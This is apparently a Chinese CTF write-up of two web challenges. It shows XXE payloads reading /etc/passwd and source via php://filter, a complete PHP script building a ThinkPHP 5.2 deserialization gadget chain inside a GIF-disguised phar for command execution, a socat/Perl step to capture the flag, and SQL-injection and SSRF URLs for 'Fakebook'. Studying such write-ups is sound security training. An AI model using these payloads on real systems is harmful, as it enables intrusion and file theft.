红帽杯:Ticket_System(xxe)
学习:
xxe: XML 外部实体注入漏洞(参考:https://blog.csdn.net/qq_36197704/article/details/82255043)
XML是可扩展的标记语言,XML 被设计用来传输和存储数据。
HTML 被设计用来显示数据。
简单例子:
<?xml version="1.0" encoding="UTF-8"?>//xml声明
<note>//根元素
<to>Tove</to>//子元素
<from>Jani</from>//子元素
<heading>Reminder</heading>//子元素
<body>Don't forget me this weekend!</body>
</note>
XML DTD
DTD全称为,Document Type Definition,中文翻译为文档类型定义
文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。DTD 有两种声明的方法,一种是内部声明,一种是外部声明
内部声明:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>//PCDATA它是XML解析器解析的文本数据使用的一个术语。XML 文档中的文本通常解析为字符数据
XML 的特殊字符(&、< 和 >)在 PCDATA 中可以识别,并用于解析元素名称和实体。PCDATA(字符数据)区域被解析器视为数据块,从而允许在数据流中包含任意字符。
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>
外部声明:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY content SYSTEM "filename">
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>
xxe漏洞产生原因:XML数据在传输中数据被修改,服务器执行被恶意插入的代码,最终实现攻击的目的,XXE漏洞就是在XML在外部声明的时候出现了问题
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY content SYSTEM "file:///etc/passwd" # 直接读取系统的文件
]>
<note>
<name>&content;</name>
</note>
xxe利用:
1.直接通过DTD外部声明
xml:
<?xml version="2.0"?>
<!DOCTYPE a [
<!ENTITY b SYSTEM "file:///etc/passwd">
]>
<c>&b;</c>
2.通过DTD文档引入外部DTD文档,再引入外部实体声明
xml:
<?xml version="2.0"?>
<!DOCTYPE a SYSTEM "http://127.0.0.1">
<c>&b;</c>
DTD文件内容:
<!ENTITY b SYSTEM "file:///etc/passwd">
3.通过DTD外部实体声明引入外部实体声明
xml:
<?xml version="2.0"?>
<DOCTYPE a [
<!ENTITY % d SYSTEM "http:127.0.0.1">
%d;
]>
<c>&b;</c>
DTD:
<!ENTITY b SYSTEM "file:///etc/passwd">
这里也是xxe注入,使用第一种就行
改一下文件类型:Content-Type:application/xml
<?xml version="2.0"?>
<!DOCTYPE a [
<!ENTITY b SYSTEM "file:///etc/passwd">
]>
<c>&b;</c>
之前在网页源码里面有提示:/hints.txt
用 php://filter 来读源码:
poc:
POST /postXML HTTP/1.1
Host: 118.190.135.20
Content-Length: 204
Accept: application/xml, text/xml, */*; q=0.01
Origin: http://118.190.135.20
Content-Type: application/xml;charset=UTF-8
Referer: http://118.190.135.20/ticket
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=eu5755jfof1o6df83mtr4e984n
Connection: close
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/hints.txt" >]>
<ticket>
<username>&xxe;</username>
<code>aaaa</code>
</ticket>
读取文件成功:
You’r clever. But not enough. Try RCE!
大佬说除了file协议XXE同样能执行phar协议
并且从报错页面得知thinkphp的版本为5.2.0,利用thinkphp的反序列化链即可实现rce
phar协议(参考:https://xz.aliyun.com/t/2715)
首先了解一下流包装:
大多数PHP文件操作允许使用各种URL协议去访问文件路径:如data://,zlib://或php://等等
例如:
include('php://filter/read=convert.base64-encode/resource=index.php');
include('data://text/plain;base64,xxxxxxxxxxxx');
而phar://也是流包装的一种
格式为:xxx<?php xxx;__HALT_COMPILER();?>(注意,必须以:__HALT_COMPILER();?>结尾)
先放代码(之后我研究了thinkphp再来仔细地分析以下代码)
<?php
namespace think\process\pipes {
class Windows//重写windows类
{
private $files;
public function __construct($files)
{
$this->files = array($files);//将file转成数组
}
}
}
namespace think\model\concern {
trait Conversion//trait类似于继承,但突破了单继承的限制
{
protected $append = array("Smi1e" => "1");//初始数组
}
trait Attribute
{
private $data;
private $withAttr = array("Smi1e" => "system");
public function get($system)
{
$this->data = array("Smi1e" => "$system");//使得system可以传入
}
}
}
namespace think {
abstract class Model
{
use model\concern\Attribute;
use model\concern\Conversion;
}
}
namespace think\model{
use think\Model;
class Pivot extends Model
{
public function __construct($system)
{
$this->get($system);//
}
}
}
namespace {
$Conver = new think\model\Pivot("ls");//将ls命令传入
$payload = new think\process\pipes\Windows($Conver);//将执行的结果存入
@unlink("phar.phar");//如果事先存在phar.phar,就unlink删除文件
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();//写入文件
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); //设置stub,设置头文件为gif
$phar->setMetadata($payload); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
echo urlencode(serialize($payload));
}
?>
生成phar.phar文件后将后缀修改为xml后上传文件,文件成功上传后得到绝对路径,此时再到postXML页面将执行语句修改为phar:///tmp/uploads/生成的文件名.xml,即可实现phar文件的反序列化从而执行任意命令
POST以下代码:
<?xml version="1.0" ?>
<!DOCTYPE doc[
<!ENTITY xxe SYSTEM "phar:///tmp/uploads/文件路径.xml"
]>
<user>
<username>&xxe;</username></user>
到这儿还没有完,之后的是*ctf的readflag原题:(图片来自网络)
之后就是神仙打架了,看不懂,先做个记录(参考:https://www.freebuf.com/company-information/202396.html和https://mp.weixin.qq.com/s/flsr5M0bC9AFX28m9KXe1w)
需要在100ms里把计算结果输入进去
上传一个静态编译的socat,把readflag的标准输入输出转为socket通道,
反弹两个shell,一个执行socat
./socat tcp-l:9999,fork exec:/readflag
另一个连接转发出来的端口进行交互
#!/usr/bin/perl -w
use IO::Socket;
my $sock=IO::Socket::INET->new(
PeerAddr =>'127.0.0.1',
PeerPort => 9999,
Proto =>'tcp')or die $@;
$sock->recv($res, 1024);
print $res;
$sock->recv($res, 1024);
print $res;
$data = eval($res);
print $data; # 打印计算结果
$sock->send($data);
$sock->recv($res, 1024);
print $res;
$sock->send($data);
$sock->recv($res, 1024);
print $res;
$sock->recv($res, 1024);
print $res;
$sock->recv($res, 1024);
print $res; // 打印flag
$sock->close or die $!;
# 退出
exit 0;
得到flag
Fakebook(SQL注入,ssrf,反序列化,file:///)
点进去一看登录注册,先流程走完,途中查看源码没什么稀奇的
注册成功之后得到以下
点击用户名进去之后,可以清楚地看到以下这些,再结合url:
http://9c34f9e1-d188-48d0-85a6-933413eb08e6.node3.buuoj.cn/view.php?no=1
很像sql注入,测试了一下的确存在sql注入
丢进sqlmap里面跑,跑不出来
手工测试了一下,过滤了空格
http://07c5f06e-055e-4992-8d1f-8a458c22f901.node3.buuoj.cn/view.php?no=0%20/**/union/**/select%201,database(),3,4
------------------------> fakebook
http://07c5f06e-055e-4992-8d1f-8a458c22f901.node3.buuoj.cn/view.php?no=0/**/union/**/select%201,group_concat(table_name),3,4%20from%20information_schema.tables%20where%20table_schema=database()#
----------------------> users
http://07c5f06e-055e-4992-8d1f-8a458c22f901.node3.buuoj.cn/view.php?no=0/**/union/**/select%201,group_concat(column_name),3,4%20from%20information_schema.columns%20where%20table_name=%27users%27#
------------------------>no,username,passwd,data,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS
http://07c5f06e-055e-4992-8d1f-8a458c22f901.node3.buuoj.cn/view.php?no=0/**/union/**/select%201,group_concat(data),3,4%20from%20users#
--------------------> O:8:“UserInfo”:3:{s:4:“name”;s:5:“admin”;s:3:“age”;i:12;s:4:“blog”;s:58:“https://blog.csdn.net/qq_42196196/article/details/81952174”;}
看到有大佬在注册界面使用的post注入可以跑出来,试了一下,的确可以:
此时发现数据都被反序列化了
可是反序列化对于我们来说有什么用呢,没有头绪
只好进行目录扫描:
利用kail的nikto进行扫描,扫出来一个robots.txt,内容为:/user.php.bak
于是得到源码:
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();//初始化 cURL 会话
curl_setopt($ch, CURLOPT_URL, $url);//设置参数,如果设置了 open_basedir,file 协议会被 cURL 禁用。
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);//传给浏览器
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
源码感觉没啥用。。
看了大佬的wp,这里需要用到ssrf(文件路径是注入的时候报错出来的,flag.php是通过御剑扫出来的)
/view.php?no=0/**/union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:12;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
file:本地文件传输协议,用于访问本地计算机文件
file格式:file:///文件路径
例如:file:///D:/www/123.txt
之后查看源码就能得到flag啦
非预期:
/view.php?no=0+unIon/**/select+1,load_file('/var/www/html/flag.php'),1,1